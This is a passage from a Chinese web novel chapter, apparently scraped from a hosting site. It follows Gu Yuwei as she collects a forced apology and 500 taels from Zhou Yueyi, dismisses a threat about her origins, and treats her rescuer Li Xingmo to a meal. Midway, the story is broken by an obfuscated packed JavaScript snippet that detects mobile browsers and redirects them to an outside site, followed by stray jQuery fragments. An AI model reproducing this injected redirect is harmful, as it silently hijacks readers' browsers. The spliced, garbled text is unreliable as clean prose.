算了,她刚刚经了这么一场事儿,大概一时还没回过神来。
以后再跟她说吧。
谢沉琅放下了茶杯:“我叫沈澈押周月漪来给你道歉,顺便让她把赔你的银子交了,这就送她回赵府。”
“嗯,好。”顾玉薇笑眯眯地站起来送谢沉琅,“多谢大人,大人慢走。”
她好像巴不得他赶快走?
谢沉琅有些不悦,起身负手而去。
没一会儿工夫,沈澈就押着周月漪来了。
周月漪这两天被关在谢府一个长年不住人的,废弃荒凉的屋子里,里面连被褥都没有,只有一层稻草,窗户纸都是破的,晚上一刮起风来,冷得她直打哆嗦。
她也终于明白了,绝望了。谢沉琅是真的、真的不喜欢她。并不是因为她嫁了人,碍于各自的身份,压抑着这份情感。
她心里恨啊,既然不喜欢她,为何要纳与她长相相似的三妹妹为妾?让她平白地起了念想。
她想质问谢沉琅,可她却连人都见不到。
今日终于有人来理她了,却只是谢沉琅的贴身侍卫沈澈,说是带她去给三妹妹道歉,还说让她交五百两银子,才肯放她回赵家。
她心中恨极,面上却丝毫不敢表露出来。
她怕谢沉琅会把她送进牢中,甚至悄无声息地杀了她。
她不想死。
五百两银子虽然不少,她也拿得出,但几乎是她的半副身家了。
她当然不想拿。
对了,三妹妹还有把柄在自己手里,她忘了前事,大概还不知道,自己只是个捡来的女人吧。
她就不信,三妹妹不怕身份被揭破!
周月漪被押到了栖凤院,被侍卫一把推倒在地上。坚硬的青砖磕疼了她的膝盖,将她的双手擦出了血丝。
她抬头,却见她那个便宜三妹妹正慵懒地坐在木槿树下,一边吃点心,一边喝着茶。
“三妹妹,对不起,是我一时会错了意,还请三妹妹看在咱们是亲姐妹的份儿上,饶过我这一回。”周月漪声音柔柔的,听起来很是可怜。
她半跪在地上,心中只觉欺辱之极。
有沈澈在,她不敢造次,不但要给这个假冒的三妹妹下跪,还要装可怜。
她抬起头,眼中盈满了泪水。
“三妹妹,咱们可是姐妹,一损俱损,一荣俱荣。”
周月漪一瞬不瞬地看着顾玉薇。
她这是在威胁自己吗?顾玉薇随手放下茶杯:“好了,你拿了银子就走吧。”
她不想与周月漪多做纠缠,反正已经在谢沉琅面前过了明路,以后也不用再与她装姐妹情深了。
难道那五百两银子是她要的?听了这话,周月漪更恨了。
“妹妹,我想单独跟你说两句话。”
“不用了。”顾玉薇一挥手,“交了银子赶紧回赵家去吧。”
“是关于你的身世的,你难道不想听吗?”周月漪目光灼灼。
“我的身世?”顾玉薇有些好奇,她到底想干什么。
“沈大人,我跟二姐姐说两句话。”顾玉薇对着沈澈一笑。
沈澈当即一抱拳:“那我等在外面等。”
等人都走了,顾玉薇道:“有什么话,说吧。”
周月漪站了起来,径直坐到了顾玉薇对面:“三妹妹,其实你根本就不是周家人,你只是哥哥捡回来的野种!”
说完,她就等着顾玉薇大惊失色,然后惊慌失措,求她千万不要说出去。
结果,却见顾玉薇依然淡定地喝着茶,只淡淡地扫了她一眼:“就这?”
“就这?”周月漪呵呵呵笑起来,“你要是失去了周家女的身份,就只是个低溅的民女,没准儿还是贱籍呢!你看谢首辅知道了,还会不会要你!”
顾玉薇心想,他本来也没要我啊。我们只是各取所需罢了。
不过,这话就不用对周月漪讲了。
她慢悠悠地吹了吹茶水,笑道:“哎呀,我好怕啊!不过二姐姐还是先想想你自己吧。再不交银子走人,只怕赵家就要报你病亡了。”
周月漪气得指着顾玉薇的鼻子,话都说不出来了,来来回回就是那两句话:“你等着!你给我等着!”
周月漪被沈澈带走了,没一会儿,沈澈就给顾玉薇送来了五百两银票。
顾玉薇看着银票,开心地笑了起来。
明儿正好去买些礼物,感谢一下李行墨。
当时被救出来,因为不知道自己以后的境遇如何,只干巴巴说了几句谢谢,连以后报答的话都没敢说。
这一次,顾玉薇依然选择了穿男装,却没有在脸上涂涂画画。李行墨已经见过她的真实面貌了,再化装就不好了。
出了栖凤院,顾玉薇才想起来,她还不知道李行墨家住在哪里呢。
上次他好像提过一句,但她忘了,问青竹,青竹也记不起来了。
顾玉薇想了想,李行墨是户部的官员,李管家对京中的官员如数家珍,不如去问问他。
于是,她带着青竹风风火火去找李管家。
李管家被罚了三个月的月俸,正自觉没脸,一听周玉薇打听李行墨家住哪里,看样子是想亲自上门道谢,不由得头大起来。
他是谢沉琅的心腹,知道两人之间是假的,但是,周玉薇毕竟顶着大人姨娘的名分,并且,从这次的事来看,大人对这位假姨娘并非完全无意。
他已经犯了一次错,可不能再出错了。
他先笑着请顾玉薇坐了,然后推说李行墨是刚到户部的,他也不清楚他家住在哪里。等顾玉薇走后,立马跑去禀报了谢沉琅。
今日的天有些阴沉,谢沉琅的脸色也有些阴沉。
以前还不觉得什么,如今看来,她行.事还是过于跳脱了。
被人绑走这种事,一般人都是遮遮掩掩,生怕叫别人知道,坏了名声。
她可好,竟然要亲自去向人道谢。
要道谢,跟他说一声,他悄没声儿地就办了,还用她亲自去?
难道说,因为李行墨救了他,她看上他了?
“沈澈,你派两个人暗中跟着她,别再出什么事端。”
“是。”沈澈转身出去安排去了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285419|181091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>顾玉薇带着青竹,出门雇了个车,就往万衢坊而去。那里热闹,她想着先逛逛,买些礼物,再去李家粮铺看看。
李家粮铺的掌柜认识李行墨,没准儿他们知道李行墨家住在哪里。
顾玉薇在街上转来好几圈,才选定了礼物。
考虑到古代男女之间送某些礼物可能会引起不必要的误会,顾玉薇选的都是一些办公用品。
一套檀木山水纹湖笔,还有一个红木雕的笔筒。
顾玉薇叫店主寻了个好看的盒子,包装好,这才带着去了李家粮铺。
今日来的晚了,粮铺里的米都卖完了,冷冷清清的。铺子里坐着一个二十来岁的年轻男子,却不见那天的李老汉和李大娘。
顾玉薇又退出门口看了看,确实是李家粮铺。
这才又走了进去:“请问,李店主在吗?”
年轻男子站了起来:“客官要买些什么?我大伯前一阵子受了伤,在家休养。您要什么跟我说是一样的。”
“这样啊。”顾玉薇失望起来。李老汉不在,这位年轻人不一定知道李行墨,不过她还是不死心地问了一句,“我来是向李掌柜打听一个人,户部的李行墨李大人,不知小哥可认得?”
“认得,认得!”年轻人忙道,“要不是有李大人,那天我大伯被人打破头,只怕当场就没命了。后来也是李大人帮大伯报了官,把害人的奸人抓了起来。”
顾玉薇道:“我也受过李大人的恩惠,想要当面感谢他,不知小哥可知道他住在哪里?”
年轻人挠了挠头:“这个,我不太清楚,每次都是李大人来铺子里。我等卑贱之人,没敢去寻过他。”
“行吧,”顾玉薇有些失望,“要是你下次见了他,跟他说一声,有个名叫顾越的人来找过他。”
顾玉薇转身出了粮铺,走了没两步,突然看到对面一人急匆匆走了过来。
一身月白色衣衫,发髻用一根简单的玉簪固定,眉目清朗,正是李行墨。
“李大人,李大人。”顾玉薇急忙笑着朝他招手。
李行墨抬眼看过来,等看清了是顾玉薇,惊喜地笑了起来。
他大步走过来:“顾姑……顾兄弟!你没事啦?上次你不让报官,说是家里的私事,我担心……”
“没事了。”顾玉薇笑道,“多谢李大人上次仗义相助。不知大人可有空闲?我请你吃饭如何?”
既然在街上遇到了,就不用去他家里了,请他吃个饭,把礼物送了,这事儿就算办好了。
“那感情好啊。”李行墨当即答应了。
二人进了一间酒楼,要了一个二楼的雅间。这雅间是个套间,青竹和李行墨的小厮被安排在外面坐,顾玉薇和李行墨则在里间。
顾玉薇刚刚发了一注财,叫李行墨想吃什么随意点,不用客气。
李行墨笑着说:“好”。
他一边低头看菜牌,一边好奇顾玉薇的身份。
她随身带着丫环,出手也大方,应该是大户人家的女儿,但哪个大家闺秀会扮成男人,在街上溜达?
难道说,她是商户女子?